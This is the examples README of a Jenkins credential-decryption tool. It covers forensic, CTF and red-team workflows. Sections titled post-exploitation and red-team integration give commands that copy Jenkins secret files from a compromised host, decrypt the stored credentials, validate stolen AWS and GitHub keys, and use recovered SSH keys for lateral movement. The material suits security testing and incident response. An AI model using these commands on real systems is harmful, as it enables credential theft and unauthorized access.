Examples

Practical usage examples for Jenkins Credential Decryptor.

Available Examples

Basic Usage

basic_decryption.sh - Simple credential decryption workflow

Basic example showing standard decryption with auto-detected Jenkins paths.

./basic_decryption.sh /var/lib/jenkins

Features:

• Auto-detects master.key, hudson.util.Secret, credentials.xml
• Validates file existence
• Shows redacted output by default
• Provides commands for reveal and export modes

Docker Workflow

docker_workflow.sh - Isolated decryption in Docker container

Demonstrates forensically-sound credential recovery using Docker isolation.

# Place Jenkins files in jenkins_files/ directory
cp /path/to/master.key jenkins_files/
cp /path/to/hudson.util.Secret jenkins_files/
cp /path/to/credentials.xml jenkins_files/

# Run workflow
./docker_workflow.sh

Features:

• Complete isolation from host system
• Read-only evidence mounts
• Forensic-grade processing
• Automated credential type analysis

CTF Speedrun

ctf_speedrun.sh - Fast credential recovery for time-limited scenarios

Optimized for CTF competitions and Hack The Box challenges.

./ctf_speedrun.sh

Features:

• Auto-discovers Jenkins installations
• System-wide search for master.key
• Instant credential type identification
• Prioritizes high-value credentials (AWS, GitHub, SSH)
• Quick export to /tmp for immediate use

Perfect for:

• CTF competitions
• Hack The Box labs
• Time-limited penetration tests

Forensic Workflow

forensic_workflow.sh - Evidence preservation and chain of custody

Complete forensic-grade credential recovery with full documentation.

./forensic_workflow.sh CASE-2026-001

Features:

• Evidence directory structure creation
• SHA256 hash generation and verification
• File metadata preservation
• Dry-run validation before processing
• Credential type analysis
• Formatted forensic report generation
• Case archival with integrity verification

Includes:

• Phase 1: Evidence Collection
• Phase 2: Integrity Hash Generation
• Phase 3: Validation (Dry-Run)
• Phase 4: Credential Decryption
• Phase 5: Credential Analysis
• Phase 6: Report Generation
• Phase 7: Case Archival

Report Generation

generate_report.py - Formatted credential analysis reports

Python script for generating professional analysis reports from JSON exports.

# Generate report to stdout
python3 generate_report.py credentials.json

# Generate report to file
python3 generate_report.py credentials.json analysis_report.md

Features:

• Executive summary
• Credential type breakdown with risk levels
• AWS key analysis and recommendations
• GitHub token analysis
• SSH key identification
• Immediate, short-term, and long-term action items
• Technical details and file sources
• Security best practices references

Usage Patterns

Red Team Post-Exploitation

# Extract files from compromised host
scp user@jenkins:/var/jenkins_home/secrets/master.key .
scp user@jenkins:/var/jenkins_home/secrets/hudson.util.Secret .
scp user@jenkins:/var/jenkins_home/credentials.xml .

# Quick decrypt
python3 ../decrypt.py \
    --key master.key \
    --secret hudson.util.Secret \
    --xml credentials.xml \
    --reveal-secrets

Forensic Investigation

# Full forensic workflow with documentation
./forensic_workflow.sh INCIDENT-2026-001

# Review generated report
cat forensic-case-INCIDENT-2026-001/reports/forensic_report.md

CTF Competition

# Fast credential recovery
./ctf_speedrun.sh

# Parse specific credential types
jq -r '.[] | select(.decrypted | startswith("AKIA"))' /tmp/jenkins_creds.json

Docker Forensic Analysis

# Prepare evidence
mkdir -p jenkins_files
cp evidence/master.key jenkins_files/
cp evidence/hudson.util.Secret jenkins_files/
cp evidence/credentials.xml jenkins_files/

# Run in isolated container
./docker_workflow.sh

# Generate analysis report
python3 generate_report.py ../outputs/credentials.json analysis.md

Integration with Red Team Tools

AWS Enumeration

# Export AWS keys
jq -r '.[] | select(.decrypted | startswith("AKIA")) | .decrypted' creds.json > aws_keys.txt

# Test each key
while read key; do
    export AWS_ACCESS_KEY_ID=$(echo "$key" | cut -d: -f1)
    export AWS_SECRET_ACCESS_KEY=$(echo "$key" | cut -d: -f2)
    aws sts get-caller-identity
done < aws_keys.txt

GitHub Reconnaissance

# Export GitHub tokens
jq -r '.[] | select(.decrypted | startswith("ghp_")) | .decrypted' creds.json > github_tokens.txt

# Test each token
while read token; do
    curl -H "Authorization: token $token" https://api.github.com/user
done < github_tokens.txt

SSH Lateral Movement

# Extract SSH keys
jq -r '.[] | select(.decrypted | contains("BEGIN")) | .decrypted' creds.json > ssh_keys.txt

# Use for lateral movement
chmod 600 ssh_keys.txt
ssh -i ssh_keys.txt user@target

Customization

All examples can be customized for your environment:

• Paths: Modify Jenkins base paths for your installation
• Output: Change export locations and formats
• Filters: Adjust credential type filters
• Reports: Customize report templates and content

Best Practices

Security

• Always use --dry-run first to validate files
• Keep exports in secure, access-controlled locations
• Use Docker isolation for untrusted environments
• Generate and verify cryptographic hashes

Forensics

• Preserve original file timestamps
• Document chain of custody
• Generate integrity hashes before processing
• Maintain detailed processing logs
• Archive complete case data

Operations

• Test credentials in isolated environments first
• Rotate recovered credentials immediately
• Document all access and usage
• Follow organizational security policies

Troubleshooting

Example Scripts Not Executable

# Make scripts executable
chmod +x *.sh

Jenkins Files Not Found

# Search for Jenkins installation
find / -name master.key 2>/dev/null

# Use explicit paths
python3 ../decrypt.py \
    --key /path/to/master.key \
    --secret /path/to/hudson.util.Secret \
    --xml /path/to/credentials.xml

Docker Issues

# Rebuild Docker image
cd ..
docker-compose build --no-cache offsec-jenkins

# Verify Docker setup
docker-compose config

Additional Resources

• Main README: ../README.md
• Docker Usage Guide: ../DOCKER_USAGE.md
• Forensic Guidelines: ../FORENSICS.md
• Test Documentation: ../tests/README.md

Support

For questions or issues:

• GitHub Issues: Jenkins-Credential-Decryptor Issues
• Documentation: Main README and FORENSICS guide